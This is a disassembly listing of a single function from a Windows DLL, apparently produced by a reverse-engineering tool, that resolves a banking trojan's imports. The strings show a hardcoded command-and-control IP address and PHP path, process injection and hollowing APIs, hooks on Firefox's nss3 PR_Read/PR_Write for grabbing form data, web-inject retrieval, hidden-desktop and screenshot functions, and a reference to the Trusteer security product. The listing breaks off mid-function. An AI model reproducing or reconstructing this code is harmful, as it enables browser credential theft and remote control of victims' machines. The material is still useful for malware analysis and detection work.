Function at 0x18000286c
Capabilities:
Compress data via winapi
Reference http user-agent string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
lea rax, str.176.111.174.140
lea r11, str.Kernel32.dll
lea rbx, [0x180030868]
mov qword [0x180040c90], rax
mov qword [0x180040c98], rax
lea rax, str._GrXRYWt.php
mov qword [0x180040c88], rax
lea rax, str.User32.dll
mov qword [0x180041098], r11
mov qword [0x180041090], rax
lea rax, str.KernelBase.dll
mov qword [0x180041178], rbx
mov qword [0x1800410a0], rax
lea rax, str.msvcrt.dll
mov qword [0x1800410a8], rax
lea rax, str.ntdll.dll
mov qword [0x1800410b0], rax
lea rax, str.Shlwapi.dll
mov qword [0x1800410b8], rax
lea rax, str.Shell32.dll
mov qword [0x1800410c0], rax
lea rax, str.Secur32.dll
mov qword [0x1800410c8], rax
lea rax, str.Advapi32.dll
mov qword [0x1800410d0], rax
lea rax, str.ws2_32.dll
mov qword [0x1800410d8], rax
lea rax, str.version.dll
mov qword [0x1800410e0], rax
lea rax, str.Psapi.dll
mov qword [0x1800410e8], rax
lea rax, str.wininet.dll
mov qword [0x1800410f0], rax
lea rax, str.gdi32.dll
mov qword [0x1800410f8], rax
lea rax, str.:Zone.Identifier
mov qword [0x1800419d8], rax
lea rax, str.MessageBoxA
mov qword [0x180041128], rax
lea rax, str.GetWindowsDirectoryA
mov qword [0x180041130], rax
lea rax, [0x1800307c8]
mov qword [0x180041120], rax
lea rax, str.LocalAlloc
mov qword [0x180041138], rax
lea rax, str.wsprintfA
mov qword [0x180041140], rax
lea rax, [0x180030800]
mov qword [0x180041148], rax
lea rax, str.free
mov qword [0x180041158], rax
lea rax, str.VirtualAllocEx
mov qword [0x180041160], rax
lea rax, str.WriteProcessMemory
mov qword [0x180041168], rax
lea rax, str.CreateRemoteThread
mov qword [0x180041170], rax
lea rax, [0x180030878]
mov qword [0x180041180], rax
lea rax, str.PathRemoveFileSpecA
mov qword [0x180041188], rax
lea rax, [0x1800308a0]
mov qword [0x180041190], rax
lea rax, str.PathFindFileNameA
mov qword [0x180041198], rax
lea rax, str.strncmp
mov qword [0x1800411a0], rax
lea rax, str._strnicmp
mov qword [0x1800411a8], rax
lea rax, [0x1800308e8]
mov qword [0x1800411b0], rax
lea rax, [0x1800308f8]
mov qword [0x1800411b8], rax
lea rax, str.SHGetFolderPathA
mov qword [0x1800411c0], rax
lea rax, str.lstrcpyA
mov qword [0x1800411c8], rax
lea rax, [0x180030930]
mov qword [0x1800411d0], rax
lea rax, str.CopyFileA
mov qword [0x1800411d8], rax
lea rax, str.GetVolumeInformationA
mov qword [0x1800411e0], rax
lea rax, str.GetUserNameExA
mov qword [0x1800411e8], rax
lea rax, str.LookupAccountNameA
mov qword [0x1800411f0], rax
lea rax, str.ConvertSidToStringSidA
mov qword [0x1800411f8], rax
lea rax, str.LocalFree
mov qword [0x180041200], rax
lea rax, str.malloc
mov qword [0x180041150], rax
lea rax, str.lstrcmpiA
mov qword [0x180041210], rax
lea rax, str.lstrcmpA
mov qword [0x180041218], rax
lea rax, str.StrStrA
mov qword [0x180041220], rax
lea rax, str.StrStrIA
mov qword [0x180041228], rax
lea rax, str.strtol
mov qword [0x180041230], rax
lea rax, str.realloc
mov qword [0x180041238], rax
lea rax, str.WSAStartup
mov qword [0x180041240], rax
lea rax, str.socket
mov qword [0x180041248], rax
lea rax, str.gethostbyname
mov qword [0x180041250], rax
lea rax, str.htons
mov qword [0x180041258], rax
lea rax, str.connect
mov qword [0x180041260], rax
lea rax, str.send
mov qword [0x180041268], rax
lea rax, str.recv
mov qword [0x180041270], rax
lea rax, str.closesocket
mov qword [0x180041278], rax
lea rax, str.WSACleanup
mov qword [0x180041280], rax
lea rax, str.memset
mov qword [0x180041288], rax
lea rax, str.memcpy
mov qword [0x180041208], rax
lea rax, [0x180030a74]
mov qword [0x180041290], rax
lea rax, str.NtOpenKey
mov qword [0x180041298], rax
lea rax, str.NtSetValueKey
mov qword [0x1800412a8], rax
lea rax, [0x180030aa0]
mov qword [0x1800412a0], rax
lea rax, str.CreateProcessA
mov qword [0x1800412b0], rax
lea rax, str.NtCreateThreadEx
mov qword [0x180041448], rax
lea rax, [0x180030ad8]
mov qword [0x180041450], rax
lea rax, str.FindWindowA
mov qword [0x180041458], rax
lea rax, str.NtUnmapViewOfSection
mov qword [0x1800415d8], rax
lea rax, str.NtQueryInformationProcess
mov qword [0x1800415e0], rax
lea rax, [0x180030b38]
mov qword [0x1800415e8], rax
lea rax, [0x180030b50]
mov qword [0x1800415f0], rax
lea rax, str.SHFileOperationA
mov qword [0x1800415f8], rax
lea rax, str.FindFirstFileA
mov qword [0x180041600], rax
lea rax, str.FindNextFileA
mov qword [0x180041608], rax
lea rax, str.GetWindowThreadProcessId
mov qword [0x180041460], rax
lea rax, str.InitializeCriticalSection
mov qword [0x1800412c8], rax
lea rax, [0x180030be0]
mov qword [0x1800412d0], rax
lea rax, [0x180030bf0]
mov qword [0x1800412b8], rax
lea rax, [0x180030c08]
mov qword [0x1800412c0], rax
lea rax, str._errno
mov qword [0x1800412d8], rax
lea rax, str.tolower
mov qword [0x1800412e0], rax
lea rax, str.isdigit
mov qword [0x1800412e8], rax
lea rax, str.strtoul
mov qword [0x1800412f0], rax
lea rax, str.isxdigit
mov qword [0x1800412f8], rax
lea rax, str.strtod
mov qword [0x180041300], rax
lea rax, [0x180030c58]
mov qword [0x180041308], rax
lea rax, str.Process32First
mov qword [0x180041310], rax
lea rax, str.Process32Next
mov qword [0x180041318], rax
lea rax, str.StrChrA
mov qword [0x180041320], rax
lea rax, str.StrToIntA
mov qword [0x180041328], rax
lea rax, [0x180030cb0]
mov qword [0x180041330], rax
lea rax, str.GetFileVersionInfoSizeA
mov qword [0x180041338], rax
lea rax, str.GetFileVersionInfoA
mov qword [0x180041340], rax
lea rax, str.VerQueryValueA
mov qword [0x180041348], rax
lea rax, str.GetModuleInformation
mov qword [0x180041350], rax
lea rax, str.memcmp
mov qword [0x180041358], rax
lea rax, str.ExpandEnvironmentStringsA
mov qword [0x180041360], rax
lea rax, str.GetPrivateProfileSectionNamesA
mov qword [0x180041368], rax
lea rax, str.GetPrivateProfileStringA
mov qword [0x180041370], rax
lea rax, [0x180030d88]
mov qword [0x180041378], rax
lea rax, [0x180030d98]
mov qword [0x180041380], rax
lea rax, [0x180030da8]
mov qword [0x180041388], rax
lea rax, str.RegSetValueExA
mov qword [0x180041390], rax
lea rax, str.RegOpenKeyExA
mov qword [0x180041398], rax
lea rax, str.RegCloseKey
mov qword [0x1800413a0], rax
lea rax, [0x180030de8]
mov qword [0x1800413a8], rax
lea rax, [0x180030df8]
mov qword [0x1800413b0], rax
lea rax, str.IsWow64Process
mov qword [0x1800413b8], rax
lea rax, str.GetNativeSystemInfo
mov qword [0x1800413c0], rax
lea rax, str.OpenProcess
mov qword [0x1800413c8], rax
lea rax, [0x180030e40]
mov qword [0x1800413d0], rax
lea rax, str.GetUserNameW
mov qword [0x1800413d8], rax
lea rax, str.GetComputerNameW
mov qword [0x1800413e0], rax
lea rax, str.GetVersionExA
mov qword [0x1800413e8], rax
lea rax, str.CreateNamedPipeA
mov qword [0x1800413f0], rax
lea rax, str.ConnectNamedPipe
mov qword [0x1800413f8], rax
lea rax, str.DisconnectNamedPipe
mov qword [0x180041400], rax
lea rax, str.InternetCrackUrlA
mov qword [0x180041408], rax
lea rax, str.GetTempPathA
mov qword [0x180041410], rax
lea rax, str.GetTempFileNameA
mov qword [0x180041418], rax
lea rax, str.ShellExecuteA
mov qword [0x180041420], rax
lea rax, str.ioctlsocket
mov qword [0x180041428], rax
lea rax, str.ntohs
mov qword [0x180041430], rax
lea rax, str.CreateMutexA
mov qword [0x180041438], rax
lea rax, str.ReleaseMutex
mov qword [0x180041440], rax
lea rax, str.WaitForSingleObject
mov qword [0x180041468], rax
lea rax, str.EnumWindows
mov qword [0x180041470], rax
lea rax, [0x180030f80]
mov qword [0x180041478], rax
lea rax, str.DeleteFileA
mov qword [0x180041480], rax
lea rax, str.PathFileExistsA
mov qword [0x180041488], rax
lea rax, str.CreateDirectoryA
mov qword [0x180041490], rax
lea rax, str.HttpQueryInfoA
mov qword [0x180041498], rax
lea rax, str.HttpQueryInfoW
mov qword [0x1800414a0], rax
lea rax, str.RtlCompressBuffer
mov qword [0x1800414a8], rax
lea rax, str.RtlGetCompressionWorkSpaceSize
mov qword [0x1800414b0], rax
lea rax, str.SetThreadDesktop
mov qword [0x1800414b8], rax
lea rax, str.CreateDesktopA
mov qword [0x1800414c0], rax
lea rax, str.OpenDesktopA
mov qword [0x1800414c8], rax
lea rax, str.TerminateThread
mov qword [0x1800414d0], rax
lea rax, str.PostMessageA
mov qword [0x1800414d8], rax
lea rax, str.SendMessageA
mov qword [0x1800414e0], rax
lea rax, str.ChildWindowFromPoint
mov qword [0x1800414e8], rax
lea rax, str.ScreenToClient
mov qword [0x1800414f0], rax
lea rax, str.MoveWindow
mov qword [0x1800414f8], rax
lea rax, str.GetWindowRect
mov qword [0x180041500], rax
lea rax, str.GetMenuItemID
mov qword [0x180041508], rax
lea rax, str.MenuItemFromPoint
mov qword [0x180041510], rax
lea rax, str.RealGetWindowClassA
mov qword [0x180041518], rax
lea rax, str.PtInRect
mov qword [0x180041520], rax
lea rax, str.GetWindowPlacement
mov qword [0x180041528], rax
lea rax, str.SetWindowLongA
mov qword [0x180041530], rax
lea rax, str.GetWindowLongA
mov qword [0x180041538], rax
lea rax, str.WindowFromPoint
mov qword [0x180041540], rax
lea rax, str.SHAppBarMessage
mov qword [0x180041548], rax
lea rax, str.RegQueryValueExA
mov qword [0x180041550], rax
lea rax, str.GetDesktopWindow
mov qword [0x180041558], rax
lea rax, str.DeleteDC
mov qword [0x180041560], rax
lea rax, str.ReleaseDC
mov qword [0x180041568], rax
lea rax, str.DeleteObject
lea r8, str.Content_Length
mov qword [0x180041570], rax
lea rax, str.GetDIBits
lea rdx, str.Transfer_Encoding
mov qword [0x180041578], rax
lea rax, str.StretchBlt
lea r10, [0x1800313c8]
mov qword [0x180041580], rax
lea rax, str.SetStretchBltMode
lea r9, str.Firefox
mov qword [0x180041588], rax
lea rax, str.SelectObject
lea rcx, str._r_nContent_Length:
mov qword [0x180041590], rax
lea rax, str.CreateCompatibleDC
mov qword [0x180041690], r10
mov qword [0x180041598], rax
lea rax, str.CreateCompatibleBitmap
mov qword [0x180041698], r8
mov qword [0x1800415a0], rax
lea rax, str.GetDC
mov qword [0x1800416a0], rdx
mov qword [0x1800415a8], rax
lea rax, str.IsWindowVisible
mov qword [0x180041720], r9
mov qword [0x1800415b0], rax
lea rax, str.GetWindow
mov qword [0x180041760], rcx
mov qword [0x1800415b8], rax
lea rax, str.PrintWindow
mov qword [0x180041778], r8
mov qword [0x1800415c8], rax
lea rax, str.GetTopWindow
mov qword [0x180041780], rdx
mov qword [0x1800415d0], rax
lea rax, str..exe
mov qword [0x180041648], rax
lea rax, [0x1800312a8]
mov qword [0x180041650], rax
lea rax, [0x1800312ac]
mov qword [0x180041658], rax
lea rax, str.GET
mov qword [0x180041660], rax
lea rax, str._HTTP_1.1_r_n
mov qword [0x180041668], rax
lea rax, str.Host:
mov qword [0x180041670], rax
lea rax, str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_109.0.0.0_Safari_537.3_r_n
mov qword [0x180041678], rax
lea rax, str.Content_Length:
mov qword [0x180041680], rax
lea rax, str.HTTP_1.1_200_OK
mov qword [0x180041688], rax
lea rax, str.chunked
mov qword [0x1800416a8], rax
lea rax, [0x180030680]
mov qword [0x1800416b0], rax
lea rax, [0x180031400]
mov qword [0x1800416b8], rax
lea rax, str.ping
mov qword [0x1800416d8], rax
lea rax, str.firefox.exe
mov qword [0x1800416f8], rax
lea rax, str.GetInjects
mov qword [0x180041710], rax
lea rax, str.nss3.dll
mov qword [0x180041738], rax
lea rax, str.PR_Read
mov qword [0x180041748], rax
lea rax, str.PR_Write
mov qword [0x180041750], rax
lea rax, str.Accept_Encoding
mov qword [0x180041768], rax
lea rax, str.identity
mov qword [0x180041770], rax
lea rax, str.Connection
mov qword [0x180041788], rax
lea rax, str.close
mov qword [0x180041790], rax
lea rax, str._r_nContent_Type:
mov qword [0x1800417b0], rcx
mov rcx, r11
mov qword [0x180041798], rax
lea rax, str.text_html
mov qword [0x1800417d0], r10
mov qword [0x1800417a0], rax
lea rax, str._r_nLocation:
mov qword [0x180041868], r9
mov qword [0x1800417a8], rax
lea rax, str._r_n_r_n
mov qword [0x1800417c0], rax
lea rax, str._r_n_s:__r_n
mov qword [0x1800417c8], rax
lea rax, str._r_nHost:
mov qword [0x1800417d8], rax
lea rax, str.http_s_:__
mov qword [0x1800417e0], rax
lea rax, str._s_s_s_d
mov qword [0x1800417e8], rax
lea rax, str.form_s_s_s_d
mov qword [0x1800417f0], rax
lea rax, str.info_d_d_d_d_s_s_d_d
mov qword [0x180041990], rax
lea rax, str.Mozilla
mov qword [0x180041860], rax
lea rax, [0x1800304ee]
mov qword [0x1800419e8], rax
lea rax, str..pipe_s
mov qword [0x180041998], rax
lea rax, str.open
mov qword [0x1800419a0], rax
lea rax, str.Shell_TrayWnd
mov qword [0x1800419b0], rax
lea rax, str.verclsid.exe
mov qword [0x1800419b8], rax
lea rax, [0x1800315a8]
mov qword [0x1800419c0], rax
lea rax, [0x1800315ac]
mov qword [0x1800419c8], rax
lea rax, str.child.dll
mov qword [0x1800419d0], rax
lea rax, str.Trusteer
mov qword [0x1800419e0], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x180041090]
mov qword [0x1800407f0], rax
call rax
mov rcx, qword [0x180041098]
mov qword [rsp + 0x88], rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410a8]
mov qword [rsp + 0x80], rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410b0]
mov rbp, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410b8]
mov qword [rsp + 0x98], rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410c0]
mov r12, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410c8]
mov qword [rsp + 0x90], rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410d0]
mov rbx, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410d8]
mov r13, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410e0]
mov r14, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410e8]
mov rdi, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410f0]
mov rsi, rax
call qword [0x1800407f0]
mov rcx, qword [0x1800410f8]
mov r15, rax
call qword [0x1800407f0]
mov rdx, qword [0x180041180]
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x180041128]
mov rcx, qword [rsp + 0x88]
mov qword [0x1800407f8], rax
call rax
mov rdx, qword [0x180041130]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040798], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041120]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800407a0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041138]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800407a8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041140]
mov rcx, qword [rsp + 0x88]
mov qword [0x1800407b0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041148]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800407b8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041150]
mov rcx, rbp
mov qword [0x1800407c0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041158]
mov rcx, rbp
mov qword [0x1800407c8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041160]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800407d0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041168]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800407d8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041170]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800407e0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041188]
mov rcx, r12
mov qword [0x1800407e8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041190]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040800], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041198]
mov rcx, r12
mov qword [0x180040808], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411a0]
mov rcx, rbp
mov qword [0x180040810], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411a8]
mov rcx, rbp
mov qword [0x180040818], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411b0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040820], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411b8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040828], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411c0]
mov rcx, qword [rsp + 0x90]
mov qword [0x180040830], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411c8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040838], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411d0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040840], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411d8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040848], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411e0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040850], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411e8]
mov rcx, rbx
mov qword [0x180040858], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411f0]
mov rcx, r13
mov qword [0x180040860], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800411f8]
mov rcx, r13
mov qword [0x180040868], rax
call qword [0x1800407f8]
mov rbx, qword [rsp + 0x80]
mov rdx, qword [0x180041200]
mov rcx, rbx
mov qword [0x180040870], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041208]
mov rcx, rbp
mov qword [0x180040878], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041218]
mov rcx, rbx
mov qword [0x180040880], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041210]
mov rcx, rbx
mov qword [0x180040890], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041220]
mov rcx, r12
mov qword [0x180040888], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041228]
mov rcx, r12
mov qword [0x180040898], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041230]
mov rcx, rbp
mov qword [0x1800408a0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041238]
mov rcx, rbp
mov qword [0x1800408a8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041240]
mov rcx, r14
mov qword [0x1800408b0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041248]
mov rcx, r14
mov qword [0x1800408b8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041250]
mov rcx, r14
mov qword [0x1800408c0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041258]
mov rcx, r14
mov qword [0x1800408c8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041260]
mov rcx, r14
mov qword [0x1800408d0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041268]
mov rcx, r14
mov qword [0x1800408d8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041270]
mov rcx, r14
mov qword [0x1800408e0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041278]
mov rcx, r14
mov qword [0x1800408e8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041280]
mov rcx, r14
mov qword [0x1800408f0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041288]
mov rcx, rbp
mov qword [0x1800408f8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041290]
mov rcx, rbx
mov qword [0x180040900], rax
call qword [0x1800407f8]
mov rbx, qword [rsp + 0x98]
mov rdx, qword [0x180041298]
mov rcx, rbx
mov qword [0x180040908], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412a8]
mov rcx, rbx
mov qword [0x180040910], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412a0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040918], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041638]
mov rcx, rbx
mov qword [0x180040790], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412b0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040920], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412c8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040928], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412b8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040930], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412c0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040940], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412d0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040938], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412d8]
mov rcx, rbp
mov qword [0x180040948], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412e0]
mov rcx, rbp
mov qword [0x180040950], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412e8]
mov rcx, rbp
mov qword [0x180040958], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800412f0]
mov qword [0x180040960], rax
mov rcx, rbp
call qword [0x1800407f8]
mov rdx, qword [0x1800412f8]
mov rcx, rbp
mov qword [0x180040968], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041300]
mov rcx, rbp
mov qword [0x180040970], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041308]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040978], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041310]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040980], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041318]
mov rcx, qword [rsp + 0x80]
mov qword [0x180040988], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041320]
mov rcx, r12
mov qword [0x180040990], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041328]
mov rcx, r12
mov qword [0x180040998], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041330]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800409a0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041338]
mov rcx, rdi
mov qword [0x1800409a8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041340]
mov rcx, rdi
mov qword [0x1800409b0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041348]
mov rcx, rdi
mov qword [0x1800409b8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041350]
mov rcx, rsi
mov qword [0x1800409c0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041358]
mov rcx, rbp
mov qword [0x1800409c8], rax
call qword [0x1800407f8]
mov rbp, qword [rsp + 0x80]
mov rdx, qword [0x180041360]
mov rcx, rbp
mov qword [0x1800409d0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041368]
mov rcx, rbp
mov qword [0x1800409d8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041370]
mov rcx, rbp
mov qword [0x1800409e0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041378]
mov rcx, rbp
mov qword [0x1800409e8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041380]
mov rcx, rbp
mov qword [0x1800409f0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041388]
mov rcx, rbp
mov qword [0x1800409f8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041390]
mov qword [0x180040a00], rax
mov rcx, r13
call qword [0x1800407f8]
mov rdx, qword [0x180041398]
mov rcx, r13
mov qword [0x180040a08], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413a0]
mov rcx, r13
mov qword [0x180040a10], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413a8]
mov rcx, rbp
mov qword [0x180040a18], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413b0]
mov rcx, rbp
mov qword [0x180040a20], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413b8]
mov rcx, rbp
mov qword [0x180040a28], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413c0]
mov rcx, rbp
mov qword [0x180040a30], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413c8]
mov rcx, rbp
mov qword [0x180040a38], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413d0]
mov rcx, rbp
mov qword [0x180040a40], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413d8]
mov rcx, r13
mov qword [0x180040a48], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413e0]
mov rcx, rbp
mov qword [0x180040a50], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413e8]
mov rcx, rbp
mov qword [0x180040a58], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413f0]
mov rcx, rbp
mov qword [0x180040a60], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800413f8]
mov rcx, rbp
mov qword [0x180040a68], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041400]
mov rcx, rbp
mov qword [0x180040a70], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041408]
mov rcx, r15
mov qword [0x180040a78], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041410]
mov rcx, rbp
mov qword [0x180040a80], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041418]
mov rcx, rbp
mov qword [0x180040a88], rax
call qword [0x1800407f8]
mov rsi, qword [rsp + 0x90]
mov rdx, qword [0x180041420]
mov rcx, rsi
mov qword [0x180040a90], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041428]
mov rcx, r14
mov qword [0x180040a98], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041430]
mov qword [0x180040aa0], rax
mov rcx, r14
call qword [0x1800407f8]
mov rdx, qword [0x180041438]
mov rcx, rbp
mov qword [0x180040aa8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041440]
mov rcx, rbp
mov qword [0x180040ab0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041448]
mov rcx, rbx
mov qword [0x180040ab8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041450]
mov rcx, rbp
mov qword [0x180040ac0], rax
call qword [0x1800407f8]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [0x180041458]
mov rcx, rdi
mov qword [0x180040ac8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041460]
mov rcx, rdi
mov qword [0x180040ad0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041468]
mov rcx, rbp
mov qword [0x180040ad8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041470]
mov rcx, rdi
mov qword [0x180040ae0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041478]
mov rcx, rbp
mov qword [0x180040ae8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041480]
mov rcx, rbp
mov qword [0x180040af0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041488]
mov rcx, r12
mov qword [0x180040af8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041490]
mov rcx, rbp
mov qword [0x180040b00], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041498]
mov rcx, r15
mov qword [0x180040b08], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414a0]
mov rcx, r15
mov qword [0x180040b10], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414a8]
mov rcx, rbx
mov qword [0x180040b18], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414b0]
mov rcx, rbx
mov qword [0x180040b20], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414b8]
mov rcx, rdi
mov qword [0x180040b28], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414c0]
mov rcx, rdi
mov qword [0x180040b30], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414c8]
mov rcx, rdi
mov qword [0x180040b38], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414d0]
mov rcx, rbp
mov qword [0x180040b40], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414d8]
mov rcx, rdi
mov qword [0x180040b48], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414e0]
mov rcx, rdi
mov qword [0x180040b50], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414e8]
mov rcx, rdi
mov qword [0x180040b58], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414f0]
mov rcx, rdi
mov qword [0x180040b60], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800414f8]
mov rcx, rdi
mov qword [0x180040b68], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041500]
mov rcx, rdi
mov qword [0x180040b70], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041508]
mov rcx, rdi
mov qword [0x180040b78], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041510]
mov rcx, rdi
mov qword [0x180040b80], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041518]
mov rcx, rdi
mov qword [0x180040b88], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041520]
mov rcx, rdi
mov qword [0x180040b90], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041528]
mov rcx, rdi
mov qword [0x180040b98], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041538]
